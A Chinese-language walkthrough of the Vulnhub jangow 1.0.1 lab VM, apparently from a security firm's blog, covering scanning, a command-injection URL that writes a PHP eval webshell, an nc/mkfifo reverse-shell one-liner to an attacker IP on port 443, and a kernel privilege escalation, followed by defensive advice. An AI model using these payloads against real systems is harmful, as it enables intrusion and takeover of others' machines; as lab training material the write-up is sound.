一、研究背景
靶场测试是一种广泛应用于网络安全领域的评估方法,通过模拟真实的攻击场景,旨在发现和评估系统或应用程序的安全性。
通过模拟攻击者的行为,靶场测试可以揭示潜在的安全漏洞,验证防御措施的有效性,并提供改进安全性的建议。同时也可以通过靶场练习,学习一些新的思路和技能。
在不断变化的威胁环境中,靶场测试对于组织和网络安全至关重要。随着攻击技术的不断演进和攻击者的增长,仅依赖传统的安全措施已经无法满足安全需求。靶场测试为组织提供了一种主动探测漏洞和弱点的方式,有助于及时发现和修复系统中的安全漏洞,从而保护重要数据和资产。
二、研究目的
Vulnhub是一个知名的虚拟机靶场平台,旨在为安全专业人员提供实践渗透测试和漏洞利用的环境。它为用户提供了一个集成的平台,包含了各种不同难度级别的虚拟机,每个虚拟机都具有多个漏洞和弱点供用户发现和利用。
笔者在一次打靶过程中发现jangow1.0.1靶场有可以学习的攻击思路和防御思路,借此平台与大家进行分享。
三、使用场景
外网打点突破:
全面收集目标的信息包括开放的端口、开放的服务、敏感信息泄露等。然后通过对这些信息进行一个组合利用,打组合拳,就很有可能会有意想不到的效果。
内网渗透:
ubantu低版本权限提升(Privilege escalation)在网络安全中扮演着重要的角色。它是指攻击者或恶意用户通过利用系统或应用程序中的漏洞、弱点或设计缺陷,从一个较低权限的用户或进程提升到具有更高权限或管理员权限的用户或进程,通过权限提升攻击,攻击者可以从一个受限制的账户或进程提升到具有更高权限的账户或进程,如管理员账户。这使得攻击者能够执行更多操作,访问受限资源,绕过安全措施,并更好地操纵目标系统。
四、实施方法
01.测试目标
获取靶机管理员权限,拿到管理员目录下的flag。
02.环境搭建
1. 靶场下载地址:
https://www.vulnhub.com/entry/jangow-101,754/
*左右滑动查看更多
|
2. 将下载后的文件使用VirtualBox打开配置桥接网络,启动后会返回靶场的地址:
|
03.信息收集
1. 因为已经确定靶机ip,就直接使用nmap开始扫描一波。
得到的信息如下:可以看到目标开放了21和80端口,分别对应的是ftp服务和apache服务,apache httpd的版本是2.4.18,系统信息是Linux 3.X|4.X。
2.先访问WEB页面,这是一个目录遍历,有一个site目录,操作系统为Ubantu,点击site/后跳转到一个web应用。
|
3. 扫描一下网站路径,看看是否还有其他东西。
扫描出了下面两个目录:
http://192.168.56.118/.backup
http://192.168.56.118/site/assets/
4.访问.backup得到一个数据库连接代码,通过代码可以看出目标网站可能使用的是php +mysql,还有数据库连接地址、数据库名、用户和密码。结合刚刚扫描没有出现mysql端口,应该是对外关闭了。
|
http://192.168.56.118/site/assets/地址是一个目录遍历,都是一些图片,没有发现什么有用的信息。
|
5.继续访问site , 页面比较简单,在点击到Buscar 时,页面跳转至空白页,参数未被赋值,猜测是代码执行漏洞或者是命令执行漏洞,经过测试发现是命令执行漏洞。
|
04.漏洞利用
1.这里笔者突然想到爆破FTP的密码看看是否存在弱口令,但是没有结果,后面突然想到会不会就是前面目录扫描出来备份文件中的密码,会不会跟FTP的一样,测试了一下,连接成功了,前面的筛选没有打开。
|
2. 这里想直接上传马,但是FTP做了限制上传的权限。
|
3. 通过浏览web路径在wordpress找到了第二个用户和密码,和一个连接数据库的php脚本。
|
4. 访问地址测试数据库的连接失败了,应该不是这个密码。
|
5. 还有在home/jangow01下的一个flag:
|
6. 一通搜索后决定先上传webshell,这里开始利用这个命令执行,开始测试,写如一句话木马:
http://192.168.56.118/site/busque.php?buscar=echo 'eval($_POST['cmd']); echo 'ok'; ' > shell.php @
*左右滑动查看更多
|
访问shell.php测试:
|
然后使用蚁剑进行连接成功:
|
7. 查看权限www-data和开放的端口、 存在3306端口,这里想着尝试mysql提权,但是逛了一圈没有找到连接的密码,只能暂时放弃。
05.反弹shell
1. 查看攻击机支持反弹shell的方法:
whereis nc bash python php exec lua perl ruby
*左右滑动查看更多
可以看到有bash、python、php、exec、perl:
2. 反弹shell 这里折腾了有点久,尝试了各种反弹都没有成功。
反弹shell payload可以阅读参考:
https://forum.ywhack.com/shell.php
后面猜测可能是防火墙做了端口的限制;这里做个验证,在前面的信息收集中,靶机开启了22端口但是我们从外部没有扫描到;可以通过查看ssh的配置文件看看是否修改了端口:
3.这里看到配置文件配置的端口还是22端口,可以确定是防火墙做了一些限制。于是就尝试了常用的端口,发现在443端口可以成功反弹。使用nc进行反弹:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.43.178 443 >/tmp/f
*左右滑动查看更多
成功接收到返回的shell:
06.权限提升
1.查看系统版本:
lsb_release -a ; uname -a
2.发现内核版本4.4 ubantu版本16.04.1,通过在ExploitDB查找发现该版本存在有本地提权漏洞。也可以使用MSF搜索。
ExploitDB网址:
https://www.exploit-db.com/
|
3.这里可以使用python调用本地的终端:
python -c 'import pty;pty.spawn("/bin/bash")'
*左右滑动查看更多
这里使用su得到一个普通用户jangow01就是刚才扫描到的备份文件中的用户密码。
4.将exp.c文件通过蚁剑进行上传至/tmp目录下,通过gcc将其编译可执行文件,修改可执行文件权限为777。使用./可执行文件执行,获取到root权限。
查找root目录获取到flag,至此结束。
五、过程回顾
本文分享了jangow1.0.1靶场渗透的过程。通过nmap对靶机进行端口和服务等信息的探测,发现目标存在web服务和ftp服务,然后通过对目标网站进行扫描找到目标网站存在备份文件,和其它网站路径,发现带参数的URL,测试发现了命令执行漏洞,还通过备份文件中包含的用户和密码,登录上目标的FTP服务(但是没有上传权限)。
然后通过命令执行写入webshell,然后通过分析发现靶机配置了防火墙规则只能通过固定的端口443向外传输数据,接着nc反弹shell ,使用python调用本地终端,最后使用Ubantu 16.04 本地提权漏洞进行提权,获取root权限。
六、防御建议
1. 敏感信息泄露:
1)禁止在代码中存储敏感数据:禁止在代码中存储如数据库连接字符串、口令和密钥之类的敏感数据,这样容易导致泄密。用于加密密钥的密钥可以硬编码在代码中。
2)禁止密钥或帐号的口令以明文形式存储在数据库或者文件中:密钥或帐号的口令必须经过加密存储。
例外情况:如果Web容器的配置文件中只能以明文方式配置连接数据库的用户名和口令,那么就不用强制遵循该规则,将该配置文件的属性改为只有属主可读写。
2. 命令执行漏洞:
1)尽量不去执行外部的应用程序或命令。
2)使用自定义函数或函数库实现外部应用程序或命令的功能。
3)在执行system、eval等命令执行功能的函数前,校验参数内容。
使用escapeshellarg函数处理相关参数。Escapeshellarg函数会将任何引起参数或命令结束的字符进行转义,如单引号“’”会被转义为“’”,双引号“””会被转义为“””,分号“;”会被转义为“;”,这样escapeshellarg会将参数内容限制在一对单引号或双引号里面,转义参数中所包含的单引号或双引号,使其无法对当前执行进行截断,实现防范命令注入攻击的目的。
使用safe_mode_exec_dir执行可执行的文件路径。将php.ini文件中的safe_mode设置为On,然后将允许执行的文件放入一个目录中,并使用safe_mode_exec_dir指定这个可执行的文件路径。在需要执行相应的外部程序时,程序必须在safe_mode_exec_dir指定的目录中才会允许执行,否则执行将失败。
3.目录浏览:
Apache中关闭目录浏览功能:打开Apache配置文件httpd.conf,查找“Options Indexes FollowSymLinks”,修改为“ Options -Indexes”(减号表示取消),保存退出,重启Apache。
4. Ubantu 16.04本地提权漏洞:及时更新系统版本,下载安装最新补丁。
5. 加装WAF、防火墙等安全设备。
6. 使用最小权限原则,严格控制用户访问权限。
往期回顾
原文始发于微信公众号(安恒信息安全服务):九维团队-红队(突破)| jangow1.0.1靶场渗透
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论